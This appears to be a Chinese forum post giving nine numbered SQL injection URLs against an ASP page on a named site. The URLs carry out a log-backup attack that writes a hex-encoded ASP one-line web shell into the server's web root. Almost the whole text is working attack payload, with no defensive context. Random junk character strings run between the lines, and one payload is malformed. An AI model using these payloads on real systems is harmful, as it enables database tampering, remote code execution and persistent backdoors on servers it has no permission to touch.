第一步% j. r# b( O, L+ ^
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]-- P& n& r3 V( l. ]
' j1 ~: y+ a5 @" F9 T
第二步:% N" W% U. c) _3 b& @4 V
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
6 s" E4 R3 J, b6 g5 z. G/ C: [
第三步
% Y; Z3 s; q4 J/ I6 n$ Ihttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
* o/ R& `! T1 U+ L/ H2 \$ j1 T6 J- U2 J# w5 g3 m8 m
第四步
1 z2 I1 g# J2 D5 Rhttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--9 C: U( K: i9 F" C8 F4 W
' F% @! ]' Z2 @- k% u/ l' k
第五步" @% W9 R" e5 `
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--( i+ ]) f i w% n; n* n- f/ K
+ S2 z0 v3 F' ~6 e. j; _5 e
第六步
' a; R$ t2 M; o6 E" lhttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--
! J$ M4 C- s( _; e7 Z G
: W/ v& e8 `0 q, A$ ?7 R% t$ N第七步
3 L# ?/ p8 j. L2 P W0 q, u4 ~http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--5 u3 ^5 v" r) m3 u5 r5 X; j) t; z
; ^8 ?6 k: P3 `$ c, q0 n0 f第八步$ p/ _7 F* c2 n; M! E) G" [+ u
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
; _6 U) {+ j$ q
* M; Z i. E6 f2 |! M1 K第九步
% ~% c; P8 J( C# v- {http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
3 \* n! E- r0 p' ^" r3 o: ?7 S, l |